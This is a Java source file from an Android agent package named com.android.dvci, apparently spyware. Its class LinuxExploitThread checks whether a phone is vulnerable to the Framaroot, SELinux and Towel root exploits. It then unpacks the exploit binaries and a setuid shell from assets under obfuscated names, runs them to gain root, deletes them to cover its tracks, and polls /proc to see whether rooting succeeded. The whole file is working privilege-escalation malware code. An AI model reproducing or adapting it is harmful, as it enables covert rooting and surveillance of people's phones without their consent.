package com.android.dvci;

import com.android.dvci.auto.Cfg;
import com.android.dvci.capabilities.PackageInfo;
import com.android.dvci.file.AutoFile;
import com.android.dvci.util.Check;
import com.android.dvci.util.Execute;
import com.android.dvci.util.Utils;
import com.android.mm.M;

import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.concurrent.Semaphore;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * Created by zeno on 21/08/14.
 */
class LinuxExploitThread implements Runnable {
	private static final String TAG = "selinuxExploitThread";
	private final boolean frama;
	private final boolean selinux;
	private final boolean towel;

	Semaphore semaphore = new Semaphore(1);

	public LinuxExploitThread(boolean frama, boolean selinux, boolean towel) {
		this.frama = frama;
		this.selinux = selinux;
		this.towel = towel;
	}

	@Override
	public void run() {

		try {
			if (!semaphore.tryAcquire()) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (exploitPhone), already exploiting");
				}
				return;
			}

			if (frama) {
				if (Root.checkFramarootExploitability()) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (exploitPhone): Device seems frama exploitable"); //$NON-NLS-1$
					}
					Root.method = M.e("framaroot");
					runFramalinuxExploit();
				} else {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (exploitPhone), not exploitable by Framaroot");
					}
				}
			}

			if (selinux && PackageInfo.checkRoot() == false) {
				if (Root.checkSELinuxExploitability()) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (exploitPhone): SELinux Device seems locally exploitable"); //$NON-NLS-1$
					}
					Root.method = M.e("selinux");
					runSelinuxExploit();
				} else {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (exploitPhone), not exploitable by Selinux");
					}
				}
			}

			if (towel && PackageInfo.checkRoot() == false) {
				if (Root.checkTowelExploitability()) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (exploitPhone): Device seems Towel locally exploitable"); //$NON-NLS-1$
					}
					Root.method = M.e("towel");
					runTowelExploit();
				} else {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (exploitPhone), not exploitable by towel");
					}
				}
			}

		} finally {
			semaphore.release();
		}
	}

	public void runFramalinuxExploit() {
		final File filesPath = Status.getAppContext().getFilesDir();
		final String path = filesPath.getAbsolutePath();
		final String localExploit = M.e("l");

		try {
			Utils.dumpAsset(M.e("lb.data"), localExploit);
			Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + localExploit);

			// Unpack the suid shell
			final String suidShell = M.e("ss"); // suid shell
			// preprocess/suidext
			Utils.dumpAsset(M.e("sb.data"), suidShell);
			Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + suidShell);

			// Create the rooting script
			String pack = Status.getAppContext().getPackageName();
			Execute.execute(String.format(M.e("/data/data/%s/files/l /data/data/%s/files/ss rt"), pack, pack));

			File file = new File(Status.getAppContext().getFilesDir(), localExploit);
			file.delete();

			file = new File(Status.getAppContext().getFilesDir(), suidShell);
			file.delete();

		} catch (final Exception e1) {
			if (Cfg.EXCEPTION) {
				Check.log(e1);
			}

			if (Cfg.DEBUG) {
				Check.log(e1);//$NON-NLS-1$
				Check.log(TAG + " (framarootExploit): Exception"); //$NON-NLS-1$
			}
		}
	}


	/**
	 * checks if a pid is running,
	 *
	 * @param pid
	 *            the pid to search
	 */
	static boolean pidAlive(String pid){

		AutoFile file = new AutoFile(M.e("/proc/"), pid);
		if(file!=null && file.exists()){
			return true;
		}
		return false;
	}


	/**
	 * checks if the Selinux exploit is running,
	 *
	 * @param pid
	 *            the selinux pid
	 * Note: here we know that once the exploit succeeds
	 * its process cmdline changes from whateverisnamedthexex to "event_handler".
	 * So to know when the selinux succeeds or not, we check both for the pid availability
	 * and its name.
	 */
static boolean pidSeExAlive(String pid){


	final Pattern pattern = Pattern.compile(M.e("event_handler"));

	if(pidAlive(pid)){
		try {
			String stat = AutoFile.getFileContents( M.e("/proc/")+pid+"/" + M.e("stat"));
			Matcher matcher = pattern.matcher(stat);
			if (matcher.find()) {
				return false;
			}
		}catch(Exception e1){
			if (Cfg.EXCEPTION) {
				Check.log(e1);
			}

			if (Cfg.DEBUG) {
				Check.log(e1);//$NON-NLS-1$
				Check.log(TAG + " (pidSeExAlive): Exception"); //$NON-NLS-1$
			}

		}
		return true;
	}
	return false;
}

	/**
	 * Returns the pid of a matching line of the ps command, null
	 * if not found
	 *
	 * @param lookFor
	 *            the string to search for
	 */
static String pidOf(String lookFor) {
	String line;
	//Executable file name of the application to check.
	String pid=null;
	boolean applicationIsOk = false;
	//Running command that will get all the working processes.
	Process proc = null;
	try {
		proc = Runtime.getRuntime().exec("ps");
	} catch (IOException e) {
		e.printStackTrace();
	}
	if(proc != null) {
		InputStream stream = proc.getInputStream();
		BufferedReader reader = new BufferedReader(new InputStreamReader(stream));
//Parsing the input stream.
		try {
			while ((line = reader.readLine()) != null) {
				Pattern pattern = Pattern.compile(lookFor);
				Matcher matcher = pattern.matcher(line);
				if (matcher.find()) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (pidOf): find=" + lookFor + "in:\n" + line);
					}
						//esempio u0_a72    24334 1     5900   5280  ffffffff 00000000 R /data/data/com.android.dvci/files/vs
						String[] splited = line.split("\\s+");
						if(splited.length>3){
							int p = -1;

							try {
								p = Integer.parseInt(splited[1]);
							}catch(NumberFormatException nf){
								if (Cfg.DEBUG) {
									Check.log(TAG + " (pidOf): failure parsing:"+splited[1]);
								}
							}
							if(p>0){
								pid = new String(splited[1]);
							}
						}
					break;
				}
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	return pid;
}
	public void runSelinuxExploit() {
		final File filesPath = Status.getAppContext().getFilesDir();
		final String path = filesPath.getAbsolutePath();
		final String localExploit = M.e("vs"); // selinux_exploit
		final String selinuxSuidext = M.e("qj"); // selinux_suidext
		final String suidext = M.e("ss"); // suidext (standard)

		AutoFile vs = new AutoFile(path, localExploit);
		if (vs.exists()) {

			if(checkSelinuxExecution(path+"/"+localExploit)) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (runSelinuxExploit) localexploit was already running");
				}
				return;
			}
		}

		try {
			Utils.dumpAsset(M.e("gb.data"), localExploit); // selinux_exploit
			Utils.dumpAsset(M.e("jb.data"), selinuxSuidext);// selinux_suidext
			Utils.dumpAsset(M.e("sb.data"), suidext);// suidext

			String args = String.format(M.e("%s/%s %s/%s %s/%s"),
					path, localExploit, path, selinuxSuidext, path, suidext);

			Execute.execute(M.e("/system/bin/chmod 755 ") + args);

			// Run SELinux exploit
			// - argv[1]: path assoluto alla nuova shell
			// - argv[2]: path assoluto alla vecchia shell
			//String pack = Status.getAppContext().getPackageName();

			if (Cfg.DEBUG) {
				Check.log(TAG + " (runSelinuxExploit), executing exploit");
			}
			int ret = Execute.executeSimple(args).exitCode;

			if (Cfg.DEBUG) {
				Check.log(TAG + " (runSelinuxExploit), execution result: " + ret);
			}
			checkSelinuxExecution(path+"/"+localExploit);
		} catch (final Exception e1) {
			if (Cfg.EXCEPTION) {
				Check.log(e1);
			}

			if (Cfg.DEBUG) {
				Check.log(e1);//$NON-NLS-1$
				Check.log(TAG + " (runSelinuxExploit): Exception"); //$NON-NLS-1$
			}

			return;
		} finally {
			File file = new File(path, localExploit);
			file.delete();

			file = new File(path, selinuxSuidext);
			file.delete();

			file = new File(path, suidext);
			file.delete();
		}
	}


	private void runTowelExploit() {
		final File filesPath = Status.getAppContext().getFilesDir();
		final String path = filesPath.getAbsolutePath();
		final String localExploit = M.e("vs"); // selinux4_exploit
		final String selinuxSuidext = M.e("qj"); // selinux_suidext
		final String suidext = M.e("ss"); // suidext (standard)

		AutoFile vs = new AutoFile(path, localExploit);
		if (vs.exists()) {

			if(checkSelinuxExecution(path+"/"+localExploit)) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (runTowelExploit) localexploit was already running");
				}
				return;
			}
		}

		try {
			Utils.dumpAsset(M.e("ob.data"), localExploit); // selinux4_exploit
			Utils.dumpAsset(M.e("jb.data"), selinuxSuidext);// selinux_suidext
			Utils.dumpAsset(M.e("sb.data"), suidext);// suidext

			String args = String.format(M.e("%s/%s %s/%s %s/%s"),
					path, localExploit, path, selinuxSuidext, path, suidext);

			Execute.execute(M.e("/system/bin/chmod 755 ") + args);

			// Run SELinux exploit
			// - argv[1]: path assoluto alla nuova shell
			// - argv[2]: path assoluto alla vecchia shell
			//String pack = Status.getAppContext().getPackageName();

			if (Cfg.DEBUG) {
				Check.log(TAG + " (runTowelExploit), executing exploit");
			}
			int ret = Execute.executeSimple(args).exitCode;

			if (Cfg.DEBUG) {
				Check.log(TAG + " (runTowelExploit), execution result: " + ret);
			}
			checkSelinuxExecution(path+"/"+localExploit);
		} catch (final Exception e1) {
			if (Cfg.EXCEPTION) {
				Check.log(e1);
			}

			if (Cfg.DEBUG) {
				Check.log(e1);//$NON-NLS-1$
				Check.log(TAG + " (runTowelExploit): Exception"); //$NON-NLS-1$
			}

			return;
		} finally {
			File file = new File(path, localExploit);
			file.delete();

			file = new File(path, selinuxSuidext);
			file.delete();

			file = new File(path, suidext);
			file.delete();
		}
	}


	private boolean checkSelinuxExecution(String executable) {
		String forked= pidOf(executable);
		if(forked!=null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (runSelinuxExploit): lets wait forked pid "+forked+" to exit");
			}
				/* wait for 10min max  to see if exploits ends*/
			long startedAt = System.currentTimeMillis();
			long _10minDelta = 10*60*(1000);
			while((System.currentTimeMillis()-startedAt<(_10minDelta)) && pidSeExAlive(forked)){
				try{
					if (Cfg.DEBUG) {
						Check.log(TAG + " (runSelinuxExploit):forked exploit still running");
					}
					Thread.sleep(1000*10);
				}catch (Exception e){
					if (Cfg.EXCEPTION) {
						Check.log(e);
					}
				}
			}
			return true;
		}
		return false;
	}
}
